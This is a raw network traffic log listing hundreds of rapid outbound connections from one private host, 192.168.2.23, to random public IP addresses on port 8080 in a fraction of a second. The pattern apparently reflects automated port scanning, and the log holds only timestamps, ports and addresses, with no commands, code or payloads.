Dec 26, 2023 21:22:47.751635075 CET	45469	8080	192.168.2.23	95.249.128.139
Dec 26, 2023 21:22:47.751635075 CET	45469	8080	192.168.2.23	85.216.133.171
Dec 26, 2023 21:22:47.751641035 CET	45469	8080	192.168.2.23	31.158.117.79
Dec 26, 2023 21:22:47.751657963 CET	45469	8080	192.168.2.23	31.245.239.79
Dec 26, 2023 21:22:47.751669884 CET	45469	8080	192.168.2.23	94.36.250.145
Dec 26, 2023 21:22:47.751683950 CET	45469	8080	192.168.2.23	95.189.79.238
Dec 26, 2023 21:22:47.751699924 CET	45469	8080	192.168.2.23	85.41.148.14
Dec 26, 2023 21:22:47.751701117 CET	45469	8080	192.168.2.23	94.60.103.146
Dec 26, 2023 21:22:47.751709938 CET	45469	8080	192.168.2.23	31.9.246.4
Dec 26, 2023 21:22:47.751729012 CET	45469	8080	192.168.2.23	62.237.16.255
Dec 26, 2023 21:22:47.751729012 CET	45469	8080	192.168.2.23	94.42.207.98
Dec 26, 2023 21:22:47.751729012 CET	45469	8080	192.168.2.23	85.64.99.140
Dec 26, 2023 21:22:47.751730919 CET	45469	8080	192.168.2.23	62.50.102.65
Dec 26, 2023 21:22:47.751749992 CET	45469	8080	192.168.2.23	94.106.137.215
Dec 26, 2023 21:22:47.751754999 CET	45469	8080	192.168.2.23	95.143.75.161
Dec 26, 2023 21:22:47.751758099 CET	45469	8080	192.168.2.23	62.50.254.170
Dec 26, 2023 21:22:47.751770973 CET	45469	8080	192.168.2.23	95.19.44.60
Dec 26, 2023 21:22:47.751775980 CET	45469	8080	192.168.2.23	31.199.122.29
Dec 26, 2023 21:22:47.751785040 CET	45469	8080	192.168.2.23	94.63.22.122
Dec 26, 2023 21:22:47.751786947 CET	45469	8080	192.168.2.23	31.215.69.223
Dec 26, 2023 21:22:47.751789093 CET	45469	8080	192.168.2.23	31.192.119.179
Dec 26, 2023 21:22:47.751806021 CET	45469	8080	192.168.2.23	85.125.209.89
Dec 26, 2023 21:22:47.751815081 CET	45469	8080	192.168.2.23	95.214.83.117
Dec 26, 2023 21:22:47.751816034 CET	45469	8080	192.168.2.23	95.201.152.182
Dec 26, 2023 21:22:47.751817942 CET	45469	8080	192.168.2.23	62.131.76.8
Dec 26, 2023 21:22:47.751817942 CET	45469	8080	192.168.2.23	62.38.195.79
Dec 26, 2023 21:22:47.751817942 CET	45469	8080	192.168.2.23	85.194.24.81
Dec 26, 2023 21:22:47.751831055 CET	45469	8080	192.168.2.23	62.38.211.201
Dec 26, 2023 21:22:47.751831055 CET	45469	8080	192.168.2.23	31.240.202.94
Dec 26, 2023 21:22:47.751831055 CET	45469	8080	192.168.2.23	31.91.182.95
Dec 26, 2023 21:22:47.751832962 CET	45469	8080	192.168.2.23	95.227.180.45
Dec 26, 2023 21:22:47.751833916 CET	45469	8080	192.168.2.23	31.38.20.133
Dec 26, 2023 21:22:47.751837015 CET	45469	8080	192.168.2.23	31.141.219.82
Dec 26, 2023 21:22:47.751841068 CET	45469	8080	192.168.2.23	94.13.157.244
Dec 26, 2023 21:22:47.751841068 CET	45469	8080	192.168.2.23	85.229.38.219
Dec 26, 2023 21:22:47.751844883 CET	45469	8080	192.168.2.23	94.20.189.53
Dec 26, 2023 21:22:47.751853943 CET	45469	8080	192.168.2.23	94.245.30.1
Dec 26, 2023 21:22:47.751856089 CET	45469	8080	192.168.2.23	95.79.154.126
Dec 26, 2023 21:22:47.751861095 CET	45469	8080	192.168.2.23	94.188.5.150
Dec 26, 2023 21:22:47.751876116 CET	45469	8080	192.168.2.23	94.65.102.97
Dec 26, 2023 21:22:47.751876116 CET	45469	8080	192.168.2.23	31.249.184.171
Dec 26, 2023 21:22:47.751892090 CET	45469	8080	192.168.2.23	94.231.200.112
Dec 26, 2023 21:22:47.751892090 CET	45469	8080	192.168.2.23	62.11.130.9
Dec 26, 2023 21:22:47.751914978 CET	45469	8080	192.168.2.23	95.190.220.160
Dec 26, 2023 21:22:47.751920938 CET	45469	8080	192.168.2.23	31.175.111.99
Dec 26, 2023 21:22:47.751923084 CET	45469	8080	192.168.2.23	85.31.122.36
Dec 26, 2023 21:22:47.751940966 CET	45469	8080	192.168.2.23	31.66.129.167
Dec 26, 2023 21:22:47.751944065 CET	45469	8080	192.168.2.23	85.164.44.8
Dec 26, 2023 21:22:47.751945972 CET	45469	8080	192.168.2.23	94.195.106.102
Dec 26, 2023 21:22:47.751946926 CET	45469	8080	192.168.2.23	95.150.131.184
Dec 26, 2023 21:22:47.751951933 CET	45469	8080	192.168.2.23	95.73.19.153
Dec 26, 2023 21:22:47.751966953 CET	45469	8080	192.168.2.23	62.183.43.251
Dec 26, 2023 21:22:47.751987934 CET	45469	8080	192.168.2.23	95.235.171.125
Dec 26, 2023 21:22:47.751993895 CET	45469	8080	192.168.2.23	85.158.97.158
Dec 26, 2023 21:22:47.752001047 CET	45469	8080	192.168.2.23	85.154.214.64
Dec 26, 2023 21:22:47.752010107 CET	45469	8080	192.168.2.23	95.111.229.177
Dec 26, 2023 21:22:47.752013922 CET	45469	8080	192.168.2.23	62.207.185.194
Dec 26, 2023 21:22:47.752016068 CET	45469	8080	192.168.2.23	85.55.214.113
Dec 26, 2023 21:22:47.752024889 CET	45469	8080	192.168.2.23	85.88.243.230
Dec 26, 2023 21:22:47.752033949 CET	45469	8080	192.168.2.23	95.94.169.113
Dec 26, 2023 21:22:47.752034903 CET	45469	8080	192.168.2.23	31.120.92.50
Dec 26, 2023 21:22:47.752048969 CET	45469	8080	192.168.2.23	85.92.248.148
Dec 26, 2023 21:22:47.752068043 CET	45469	8080	192.168.2.23	94.156.40.78
Dec 26, 2023 21:22:47.752069950 CET	45469	8080	192.168.2.23	62.171.162.87
Dec 26, 2023 21:22:47.752088070 CET	45469	8080	192.168.2.23	62.6.10.25
Dec 26, 2023 21:22:47.752088070 CET	45469	8080	192.168.2.23	94.6.99.247
Dec 26, 2023 21:22:47.752090931 CET	45469	8080	192.168.2.23	94.132.100.184
Dec 26, 2023 21:22:47.752098083 CET	45469	8080	192.168.2.23	62.52.139.36
Dec 26, 2023 21:22:47.752098083 CET	45469	8080	192.168.2.23	31.122.172.198
Dec 26, 2023 21:22:47.752099037 CET	45469	8080	192.168.2.23	95.33.236.45
Dec 26, 2023 21:22:47.752110004 CET	45469	8080	192.168.2.23	95.246.126.218
Dec 26, 2023 21:22:47.752118111 CET	45469	8080	192.168.2.23	95.16.127.244
Dec 26, 2023 21:22:47.752127886 CET	45469	8080	192.168.2.23	85.154.58.36
Dec 26, 2023 21:22:47.752129078 CET	45469	8080	192.168.2.23	85.48.110.147
Dec 26, 2023 21:22:47.752136946 CET	45469	8080	192.168.2.23	62.128.46.49
Dec 26, 2023 21:22:47.752152920 CET	45469	8080	192.168.2.23	62.139.0.115
Dec 26, 2023 21:22:47.752154112 CET	45469	8080	192.168.2.23	62.45.47.241
Dec 26, 2023 21:22:47.752161980 CET	45469	8080	192.168.2.23	31.198.170.232
Dec 26, 2023 21:22:47.752177000 CET	45469	8080	192.168.2.23	95.98.252.31
Dec 26, 2023 21:22:47.752182961 CET	45469	8080	192.168.2.23	94.169.214.17
Dec 26, 2023 21:22:47.752186060 CET	45469	8080	192.168.2.23	62.23.196.53
Dec 26, 2023 21:22:47.752192974 CET	45469	8080	192.168.2.23	62.196.53.153
Dec 26, 2023 21:22:47.752218008 CET	45469	8080	192.168.2.23	94.228.168.134
Dec 26, 2023 21:22:47.752227068 CET	45469	8080	192.168.2.23	85.227.196.35
Dec 26, 2023 21:22:47.752237082 CET	45469	8080	192.168.2.23	85.199.107.186
Dec 26, 2023 21:22:47.752238989 CET	45469	8080	192.168.2.23	94.202.4.106
Dec 26, 2023 21:22:47.752258062 CET	45469	8080	192.168.2.23	95.53.167.224
Dec 26, 2023 21:22:47.752259970 CET	45469	8080	192.168.2.23	31.114.30.38
Dec 26, 2023 21:22:47.752269030 CET	45469	8080	192.168.2.23	85.56.7.237
Dec 26, 2023 21:22:47.752278090 CET	45469	8080	192.168.2.23	62.77.78.78
Dec 26, 2023 21:22:47.752278090 CET	45469	8080	192.168.2.23	95.52.212.74
Dec 26, 2023 21:22:47.752285004 CET	45469	8080	192.168.2.23	95.100.187.113
Dec 26, 2023 21:22:47.752291918 CET	45469	8080	192.168.2.23	94.240.68.81
Dec 26, 2023 21:22:47.752304077 CET	45469	8080	192.168.2.23	95.130.223.25
Dec 26, 2023 21:22:47.752310038 CET	45469	8080	192.168.2.23	62.183.28.87
Dec 26, 2023 21:22:47.752314091 CET	45469	8080	192.168.2.23	31.95.192.11
Dec 26, 2023 21:22:47.752320051 CET	45469	8080	192.168.2.23	95.162.136.213
Dec 26, 2023 21:22:47.752332926 CET	45469	8080	192.168.2.23	94.54.225.29
Dec 26, 2023 21:22:47.752332926 CET	45469	8080	192.168.2.23	94.161.32.180
Dec 26, 2023 21:22:47.752345085 CET	45469	8080	192.168.2.23	31.111.54.202
Dec 26, 2023 21:22:47.752353907 CET	45469	8080	192.168.2.23	31.173.83.194
Dec 26, 2023 21:22:47.752357960 CET	45469	8080	192.168.2.23	95.149.75.8
Dec 26, 2023 21:22:47.752357960 CET	45469	8080	192.168.2.23	94.254.191.93
Dec 26, 2023 21:22:47.752363920 CET	45469	8080	192.168.2.23	62.130.178.145
Dec 26, 2023 21:22:47.752363920 CET	45469	8080	192.168.2.23	94.99.149.53
Dec 26, 2023 21:22:47.752379894 CET	45469	8080	192.168.2.23	85.185.171.246
Dec 26, 2023 21:22:47.752383947 CET	45469	8080	192.168.2.23	95.52.217.81
Dec 26, 2023 21:22:47.752388000 CET	45469	8080	192.168.2.23	85.83.147.213
Dec 26, 2023 21:22:47.752404928 CET	45469	8080	192.168.2.23	62.121.60.170
Dec 26, 2023 21:22:47.752404928 CET	45469	8080	192.168.2.23	31.29.237.125
Dec 26, 2023 21:22:47.752424955 CET	45469	8080	192.168.2.23	95.199.202.209
Dec 26, 2023 21:22:47.752425909 CET	45469	8080	192.168.2.23	85.93.245.93
Dec 26, 2023 21:22:47.752430916 CET	45469	8080	192.168.2.23	62.33.94.232
Dec 26, 2023 21:22:47.752432108 CET	45469	8080	192.168.2.23	94.11.9.110
Dec 26, 2023 21:22:47.752454042 CET	45469	8080	192.168.2.23	31.202.127.169
Dec 26, 2023 21:22:47.752455950 CET	45469	8080	192.168.2.23	31.87.92.238
Dec 26, 2023 21:22:47.752456903 CET	45469	8080	192.168.2.23	95.190.83.111
Dec 26, 2023 21:22:47.752461910 CET	45469	8080	192.168.2.23	94.164.229.245
Dec 26, 2023 21:22:47.752482891 CET	45469	8080	192.168.2.23	62.57.239.186
Dec 26, 2023 21:22:47.752489090 CET	45469	8080	192.168.2.23	31.236.222.153
Dec 26, 2023 21:22:47.752497911 CET	45469	8080	192.168.2.23	31.17.26.124
Dec 26, 2023 21:22:47.752501965 CET	45469	8080	192.168.2.23	85.75.217.145
Dec 26, 2023 21:22:47.752516985 CET	45469	8080	192.168.2.23	31.224.80.67
Dec 26, 2023 21:22:47.752520084 CET	45469	8080	192.168.2.23	31.56.196.62
Dec 26, 2023 21:22:47.752530098 CET	45469	8080	192.168.2.23	85.196.141.251
Dec 26, 2023 21:22:47.752533913 CET	45469	8080	192.168.2.23	85.246.210.70
Dec 26, 2023 21:22:47.752537966 CET	45469	8080	192.168.2.23	94.138.145.109
Dec 26, 2023 21:22:47.752551079 CET	45469	8080	192.168.2.23	31.220.253.135
Dec 26, 2023 21:22:47.752552986 CET	45469	8080	192.168.2.23	85.85.216.86
Dec 26, 2023 21:22:47.752554893 CET	45469	8080	192.168.2.23	85.170.170.23
Dec 26, 2023 21:22:47.752562046 CET	45469	8080	192.168.2.23	85.95.244.123
Dec 26, 2023 21:22:47.752603054 CET	45469	8080	192.168.2.23	62.26.118.220
Dec 26, 2023 21:22:47.752628088 CET	45469	8080	192.168.2.23	95.184.255.176
Dec 26, 2023 21:22:47.752628088 CET	45469	8080	192.168.2.23	31.38.107.55
Dec 26, 2023 21:22:47.752628088 CET	45469	8080	192.168.2.23	31.164.36.189
Dec 26, 2023 21:22:47.752628088 CET	45469	8080	192.168.2.23	31.149.144.52
Dec 26, 2023 21:22:47.752631903 CET	45469	8080	192.168.2.23	62.216.251.220
Dec 26, 2023 21:22:47.752645016 CET	45469	8080	192.168.2.23	94.72.243.128
Dec 26, 2023 21:22:47.752654076 CET	45469	8080	192.168.2.23	85.28.113.125
Dec 26, 2023 21:22:47.752661943 CET	45469	8080	192.168.2.23	85.188.93.32
Dec 26, 2023 21:22:47.752666950 CET	45469	8080	192.168.2.23	94.231.30.199
Dec 26, 2023 21:22:47.752671957 CET	45469	8080	192.168.2.23	94.130.144.164
Dec 26, 2023 21:22:47.752675056 CET	45469	8080	192.168.2.23	85.157.78.35
Dec 26, 2023 21:22:47.752681017 CET	45469	8080	192.168.2.23	94.209.86.72
Dec 26, 2023 21:22:47.752681017 CET	45469	8080	192.168.2.23	85.220.58.159
Dec 26, 2023 21:22:47.752681971 CET	45469	8080	192.168.2.23	95.95.234.196
Dec 26, 2023 21:22:47.752695084 CET	45469	8080	192.168.2.23	95.105.242.138
Dec 26, 2023 21:22:47.752712965 CET	45469	8080	192.168.2.23	95.122.2.96
Dec 26, 2023 21:22:47.752712965 CET	45469	8080	192.168.2.23	62.247.212.96
Dec 26, 2023 21:22:47.752732038 CET	45469	8080	192.168.2.23	94.87.44.221
Dec 26, 2023 21:22:47.752734900 CET	45469	8080	192.168.2.23	95.124.24.131
Dec 26, 2023 21:22:47.752732038 CET	45469	8080	192.168.2.23	85.255.42.207
Dec 26, 2023 21:22:47.752737045 CET	45469	8080	192.168.2.23	31.173.255.23
Dec 26, 2023 21:22:47.752747059 CET	45469	8080	192.168.2.23	94.203.19.197
Dec 26, 2023 21:22:47.752754927 CET	45469	8080	192.168.2.23	62.8.48.21
Dec 26, 2023 21:22:47.752777100 CET	45469	8080	192.168.2.23	85.146.190.145
Dec 26, 2023 21:22:47.752783060 CET	45469	8080	192.168.2.23	31.168.12.99
Dec 26, 2023 21:22:47.752788067 CET	45469	8080	192.168.2.23	31.209.19.254
Dec 26, 2023 21:22:47.752804041 CET	45469	8080	192.168.2.23	62.186.152.249
Dec 26, 2023 21:22:47.752815962 CET	45469	8080	192.168.2.23	62.111.13.155
Dec 26, 2023 21:22:47.752819061 CET	45469	8080	192.168.2.23	85.224.42.160
Dec 26, 2023 21:22:47.752821922 CET	45469	8080	192.168.2.23	94.206.148.237
Dec 26, 2023 21:22:47.752830982 CET	45469	8080	192.168.2.23	95.237.3.54
Dec 26, 2023 21:22:47.752830982 CET	45469	8080	192.168.2.23	95.29.105.187
Dec 26, 2023 21:22:47.752839088 CET	45469	8080	192.168.2.23	94.233.112.159
Dec 26, 2023 21:22:47.752841949 CET	45469	8080	192.168.2.23	85.16.122.100
Dec 26, 2023 21:22:47.752856016 CET	45469	8080	192.168.2.23	62.90.125.47
Dec 26, 2023 21:22:47.752861977 CET	45469	8080	192.168.2.23	95.41.8.119
Dec 26, 2023 21:22:47.752871037 CET	45469	8080	192.168.2.23	85.21.214.207
Dec 26, 2023 21:22:47.752885103 CET	45469	8080	192.168.2.23	94.68.67.79
Dec 26, 2023 21:22:47.752904892 CET	45469	8080	192.168.2.23	94.16.176.167
Dec 26, 2023 21:22:47.752904892 CET	45469	8080	192.168.2.23	95.186.220.25
Dec 26, 2023 21:22:47.752906084 CET	45469	8080	192.168.2.23	95.47.251.213
Dec 26, 2023 21:22:47.752913952 CET	45469	8080	192.168.2.23	31.118.33.23
Dec 26, 2023 21:22:47.752923012 CET	45469	8080	192.168.2.23	62.82.116.67
Dec 26, 2023 21:22:47.752926111 CET	45469	8080	192.168.2.23	95.245.13.219
Dec 26, 2023 21:22:47.752933979 CET	45469	8080	192.168.2.23	95.80.157.153
Dec 26, 2023 21:22:47.752938032 CET	45469	8080	192.168.2.23	85.179.92.10
Dec 26, 2023 21:22:47.752954960 CET	45469	8080	192.168.2.23	62.159.14.243
Dec 26, 2023 21:22:47.752954960 CET	45469	8080	192.168.2.23	85.218.239.90
Dec 26, 2023 21:22:47.752955914 CET	45469	8080	192.168.2.23	62.174.181.0
Dec 26, 2023 21:22:47.752965927 CET	45469	8080	192.168.2.23	31.85.98.225
Dec 26, 2023 21:22:47.752969980 CET	45469	8080	192.168.2.23	94.243.123.210
Dec 26, 2023 21:22:47.752970934 CET	45469	8080	192.168.2.23	95.64.148.31
Dec 26, 2023 21:22:47.752984047 CET	45469	8080	192.168.2.23	31.16.41.55
Dec 26, 2023 21:22:47.752988100 CET	45469	8080	192.168.2.23	95.81.192.151
Dec 26, 2023 21:22:47.753000975 CET	45469	8080	192.168.2.23	95.110.110.201
Dec 26, 2023 21:22:47.753006935 CET	45469	8080	192.168.2.23	95.222.252.30
Dec 26, 2023 21:22:47.753020048 CET	45469	8080	192.168.2.23	94.114.143.107
Dec 26, 2023 21:22:47.753031015 CET	45469	8080	192.168.2.23	31.241.205.63
Dec 26, 2023 21:22:47.753035069 CET	45469	8080	192.168.2.23	95.210.191.16
Dec 26, 2023 21:22:47.753046989 CET	45469	8080	192.168.2.23	95.116.127.178
Dec 26, 2023 21:22:47.753050089 CET	45469	8080	192.168.2.23	94.51.139.147
Dec 26, 2023 21:22:47.753065109 CET	45469	8080	192.168.2.23	95.146.183.66
Dec 26, 2023 21:22:47.753068924 CET	45469	8080	192.168.2.23	95.46.77.37
Dec 26, 2023 21:22:47.753068924 CET	45469	8080	192.168.2.23	62.117.238.243
Dec 26, 2023 21:22:47.753077030 CET	45469	8080	192.168.2.23	31.111.154.225
Dec 26, 2023 21:22:47.753093958 CET	45469	8080	192.168.2.23	62.12.81.203
Dec 26, 2023 21:22:47.753098965 CET	45469	8080	192.168.2.23	85.62.129.211
Dec 26, 2023 21:22:47.753110886 CET	45469	8080	192.168.2.23	95.117.135.134
Dec 26, 2023 21:22:47.753123999 CET	45469	8080	192.168.2.23	31.0.237.100
Dec 26, 2023 21:22:47.753142118 CET	45469	8080	192.168.2.23	85.47.83.238
Dec 26, 2023 21:22:47.753144026 CET	45469	8080	192.168.2.23	85.101.207.246
Dec 26, 2023 21:22:47.753151894 CET	45469	8080	192.168.2.23	31.180.120.120
Dec 26, 2023 21:22:47.753151894 CET	45469	8080	192.168.2.23	85.47.211.240
Dec 26, 2023 21:22:47.753165007 CET	45469	8080	192.168.2.23	31.63.205.161
Dec 26, 2023 21:22:47.753165007 CET	45469	8080	192.168.2.23	31.113.61.250
Dec 26, 2023 21:22:47.753174067 CET	45469	8080	192.168.2.23	85.35.183.78
Dec 26, 2023 21:22:47.753187895 CET	45469	8080	192.168.2.23	62.71.58.60
Dec 26, 2023 21:22:47.753195047 CET	45469	8080	192.168.2.23	85.255.48.62
Dec 26, 2023 21:22:47.753205061 CET	45469	8080	192.168.2.23	62.175.173.57
Dec 26, 2023 21:22:47.753216982 CET	45469	8080	192.168.2.23	31.181.113.201
Dec 26, 2023 21:22:47.753231049 CET	45469	8080	192.168.2.23	62.177.254.198
Dec 26, 2023 21:22:47.753232956 CET	45469	8080	192.168.2.23	95.196.150.205
Dec 26, 2023 21:22:47.753246069 CET	45469	8080	192.168.2.23	31.126.202.255
Dec 26, 2023 21:22:47.753247023 CET	45469	8080	192.168.2.23	62.216.238.214
Dec 26, 2023 21:22:47.753259897 CET	45469	8080	192.168.2.23	31.241.178.192
Dec 26, 2023 21:22:47.753263950 CET	45469	8080	192.168.2.23	85.144.89.44
Dec 26, 2023 21:22:47.753268003 CET	45469	8080	192.168.2.23	94.240.214.209
Dec 26, 2023 21:22:47.753274918 CET	45469	8080	192.168.2.23	85.156.74.69
Dec 26, 2023 21:22:47.753285885 CET	45469	8080	192.168.2.23	95.63.153.179
Dec 26, 2023 21:22:47.753287077 CET	45469	8080	192.168.2.23	94.215.135.99
Dec 26, 2023 21:22:47.753293037 CET	45469	8080	192.168.2.23	95.134.253.98
Dec 26, 2023 21:22:47.753298998 CET	45469	8080	192.168.2.23	31.53.156.177
Dec 26, 2023 21:22:47.753300905 CET	45469	8080	192.168.2.23	94.251.104.91
Dec 26, 2023 21:22:47.753312111 CET	45469	8080	192.168.2.23	95.166.170.50
Dec 26, 2023 21:22:47.753330946 CET	45469	8080	192.168.2.23	94.35.180.177
Dec 26, 2023 21:22:47.753330946 CET	45469	8080	192.168.2.23	94.145.43.160
Dec 26, 2023 21:22:47.753333092 CET	45469	8080	192.168.2.23	95.69.139.199
Dec 26, 2023 21:22:47.753350019 CET	45469	8080	192.168.2.23	85.64.157.45
Dec 26, 2023 21:22:47.753375053 CET	45469	8080	192.168.2.23	62.113.229.178
Dec 26, 2023 21:22:47.753376007 CET	45469	8080	192.168.2.23	95.152.144.94
Dec 26, 2023 21:22:47.753376961 CET	45469	8080	192.168.2.23	31.37.242.73
Dec 26, 2023 21:22:47.753390074 CET	45469	8080	192.168.2.23	85.150.241.31
Dec 26, 2023 21:22:47.753390074 CET	45469	8080	192.168.2.23	94.160.32.144
Dec 26, 2023 21:22:47.753406048 CET	45469	8080	192.168.2.23	95.181.8.188
Dec 26, 2023 21:22:47.753417015 CET	45469	8080	192.168.2.23	62.226.168.157
Dec 26, 2023 21:22:47.753434896 CET	45469	8080	192.168.2.23	31.128.41.121
Dec 26, 2023 21:22:47.753443956 CET	45469	8080	192.168.2.23	94.250.113.71
Dec 26, 2023 21:22:47.753452063 CET	45469	8080	192.168.2.23	85.159.129.101
Dec 26, 2023 21:22:47.753460884 CET	45469	8080	192.168.2.23	62.140.50.212
Dec 26, 2023 21:22:47.753475904 CET	45469	8080	192.168.2.23	95.134.166.9
Dec 26, 2023 21:22:47.753479004 CET	45469	8080	192.168.2.23	95.124.248.215
Dec 26, 2023 21:22:47.753489017 CET	45469	8080	192.168.2.23	95.132.42.208
Dec 26, 2023 21:22:47.753503084 CET	45469	8080	192.168.2.23	62.26.233.82
Dec 26, 2023 21:22:47.753503084 CET	45469	8080	192.168.2.23	62.83.235.35
Dec 26, 2023 21:22:47.753516912 CET	45469	8080	192.168.2.23	62.191.206.228
Dec 26, 2023 21:22:47.753530979 CET	45469	8080	192.168.2.23	62.1.150.31
Dec 26, 2023 21:22:47.753549099 CET	45469	8080	192.168.2.23	95.111.160.134
Dec 26, 2023 21:22:47.753556013 CET	45469	8080	192.168.2.23	31.32.20.16
Dec 26, 2023 21:22:47.753556013 CET	45469	8080	192.168.2.23	62.55.116.147
Dec 26, 2023 21:22:47.753561020 CET	45469	8080	192.168.2.23	94.199.161.132
Dec 26, 2023 21:22:47.753571987 CET	45469	8080	192.168.2.23	85.213.249.224
Dec 26, 2023 21:22:47.753582954 CET	45469	8080	192.168.2.23	31.235.28.64
Dec 26, 2023 21:22:47.753591061 CET	45469	8080	192.168.2.23	62.194.144.110
Dec 26, 2023 21:22:47.753593922 CET	45469	8080	192.168.2.23	94.41.167.253
Dec 26, 2023 21:22:47.753601074 CET	45469	8080	192.168.2.23	85.88.242.207
Dec 26, 2023 21:22:47.753603935 CET	45469	8080	192.168.2.23	31.91.36.119
Dec 26, 2023 21:22:47.753623009 CET	45469	8080	192.168.2.23	94.40.156.206
Dec 26, 2023 21:22:47.753633022 CET	45469	8080	192.168.2.23	95.109.29.127
Dec 26, 2023 21:22:47.753635883 CET	45469	8080	192.168.2.23	95.57.3.252
Dec 26, 2023 21:22:47.753649950 CET	45469	8080	192.168.2.23	62.161.85.114
Dec 26, 2023 21:22:47.753649950 CET	45469	8080	192.168.2.23	85.198.57.46
Dec 26, 2023 21:22:47.753660917 CET	45469	8080	192.168.2.23	94.14.47.162
Dec 26, 2023 21:22:47.753665924 CET	45469	8080	192.168.2.23	95.9.208.100
Dec 26, 2023 21:22:47.753679037 CET	45469	8080	192.168.2.23	85.219.179.229
Dec 26, 2023 21:22:47.753696918 CET	45469	8080	192.168.2.23	85.84.6.8
Dec 26, 2023 21:22:47.753696918 CET	45469	8080	192.168.2.23	95.228.179.244
Dec 26, 2023 21:22:47.753704071 CET	45469	8080	192.168.2.23	62.170.174.211
Dec 26, 2023 21:22:47.753704071 CET	45469	8080	192.168.2.23	31.25.126.39
Dec 26, 2023 21:22:47.753730059 CET	45469	8080	192.168.2.23	94.68.161.242
Dec 26, 2023 21:22:47.753736973 CET	45469	8080	192.168.2.23	62.244.1.7
Dec 26, 2023 21:22:47.753758907 CET	45469	8080	192.168.2.23	85.78.33.58
Dec 26, 2023 21:22:47.753783941 CET	45469	8080	192.168.2.23	94.105.247.124
Dec 26, 2023 21:22:47.753784895 CET	45469	8080	192.168.2.23	62.139.23.159
Dec 26, 2023 21:22:47.753784895 CET	45469	8080	192.168.2.23	31.150.130.221
Dec 26, 2023 21:22:47.753788948 CET	45469	8080	192.168.2.23	62.69.30.224
Dec 26, 2023 21:22:47.753791094 CET	45469	8080	192.168.2.23	94.140.50.249
Dec 26, 2023 21:22:47.753793001 CET	45469	8080	192.168.2.23	94.214.62.68
Dec 26, 2023 21:22:47.753798008 CET	45469	8080	192.168.2.23	85.104.199.40
Dec 26, 2023 21:22:47.753799915 CET	45469	8080	192.168.2.23	85.145.168.210
Dec 26, 2023 21:22:47.753799915 CET	45469	8080	192.168.2.23	94.141.49.142
Dec 26, 2023 21:22:47.753799915 CET	45469	8080	192.168.2.23	95.8.119.79
Dec 26, 2023 21:22:47.753809929 CET	45469	8080	192.168.2.23	95.101.255.138
Dec 26, 2023 21:22:47.753809929 CET	45469	8080	192.168.2.23	94.3.6.102
Dec 26, 2023 21:22:47.753812075 CET	45469	8080	192.168.2.23	31.129.152.236
Dec 26, 2023 21:22:47.753812075 CET	45469	8080	192.168.2.23	62.152.216.109
Dec 26, 2023 21:22:47.753812075 CET	45469	8080	192.168.2.23	94.98.196.189
Dec 26, 2023 21:22:47.753818035 CET	45469	8080	192.168.2.23	85.157.226.69
Dec 26, 2023 21:22:47.753839016 CET	45469	8080	192.168.2.23	95.14.215.52
Dec 26, 2023 21:22:47.753856897 CET	45469	8080	192.168.2.23	62.238.176.108
Dec 26, 2023 21:22:47.753856897 CET	45469	8080	192.168.2.23	31.239.21.122
Dec 26, 2023 21:22:47.753856897 CET	45469	8080	192.168.2.23	95.16.64.115
Dec 26, 2023 21:22:47.753858089 CET	45469	8080	192.168.2.23	85.43.178.16
Dec 26, 2023 21:22:47.753858089 CET	45469	8080	192.168.2.23	95.202.2.158
Dec 26, 2023 21:22:47.753858089 CET	45469	8080	192.168.2.23	95.65.180.140
Dec 26, 2023 21:22:47.753869057 CET	8080	59846	94.120.236.2	192.168.2.23
Dec 26, 2023 21:22:47.753878117 CET	45469	8080	192.168.2.23	85.137.69.122
Dec 26, 2023 21:22:47.753878117 CET	45469	8080	192.168.2.23	95.111.183.112
Dec 26, 2023 21:22:47.753878117 CET	45469	8080	192.168.2.23	95.194.186.240
Dec 26, 2023 21:22:47.753886938 CET	45469	8080	192.168.2.23	62.145.108.203
Dec 26, 2023 21:22:47.753886938 CET	45469	8080	192.168.2.23	62.165.9.244
Dec 26, 2023 21:22:47.753887892 CET	45469	8080	192.168.2.23	85.223.26.218
Dec 26, 2023 21:22:47.753886938 CET	45469	8080	192.168.2.23	31.31.21.112
Dec 26, 2023 21:22:47.753887892 CET	45469	8080	192.168.2.23	85.251.43.13
Dec 26, 2023 21:22:47.753887892 CET	45469	8080	192.168.2.23	94.204.112.208
Dec 26, 2023 21:22:47.753887892 CET	45469	8080	192.168.2.23	94.227.251.188
Dec 26, 2023 21:22:47.753886938 CET	45469	8080	192.168.2.23	85.190.78.118
Dec 26, 2023 21:22:47.753887892 CET	45469	8080	192.168.2.23	95.60.201.11
Dec 26, 2023 21:22:47.753886938 CET	45469	8080	192.168.2.23	95.240.184.186
Dec 26, 2023 21:22:47.753890038 CET	45469	8080	192.168.2.23	85.69.40.191
Dec 26, 2023 21:22:47.753890038 CET	45469	8080	192.168.2.23	62.82.228.156
Dec 26, 2023 21:22:47.753891945 CET	45469	8080	192.168.2.23	95.92.217.202
Dec 26, 2023 21:22:47.753892899 CET	45469	8080	192.168.2.23	95.165.207.139
Dec 26, 2023 21:22:47.753891945 CET	45469	8080	192.168.2.23	31.174.111.213
Dec 26, 2023 21:22:47.753892899 CET	45469	8080	192.168.2.23	85.72.151.116
Dec 26, 2023 21:22:47.753892899 CET	45469	8080	192.168.2.23	85.107.244.28
Dec 26, 2023 21:22:47.753892899 CET	45469	8080	192.168.2.23	85.165.233.14
Dec 26, 2023 21:22:47.753892899 CET	45469	8080	192.168.2.23	94.185.29.188
Dec 26, 2023 21:22:47.753892899 CET	45469	8080	192.168.2.23	94.83.206.172
Dec 26, 2023 21:22:47.753892899 CET	45469	8080	192.168.2.23	85.149.117.223
Dec 26, 2023 21:22:47.753892899 CET	45469	8080	192.168.2.23	62.123.50.199
Dec 26, 2023 21:22:47.753892899 CET	45469	8080	192.168.2.23	85.197.247.52
Dec 26, 2023 21:22:47.753910065 CET	45469	8080	192.168.2.23	94.71.128.134
Dec 26, 2023 21:22:47.753921986 CET	45469	8080	192.168.2.23	62.49.189.75
Dec 26, 2023 21:22:47.753921986 CET	45469	8080	192.168.2.23	95.255.146.112
Dec 26, 2023 21:22:47.753921986 CET	45469	8080	192.168.2.23	31.98.47.255
Dec 26, 2023 21:22:47.753921986 CET	45469	8080	192.168.2.23	85.9.104.255
Dec 26, 2023 21:22:47.753922939 CET	45469	8080	192.168.2.23	95.226.64.109
Dec 26, 2023 21:22:47.753922939 CET	45469	8080	192.168.2.23	31.172.234.25
Dec 26, 2023 21:22:47.753925085 CET	45469	8080	192.168.2.23	94.220.39.185
Dec 26, 2023 21:22:47.753926039 CET	45469	8080	192.168.2.23	85.110.134.119
Dec 26, 2023 21:22:47.753926039 CET	45469	8080	192.168.2.23	31.190.87.206
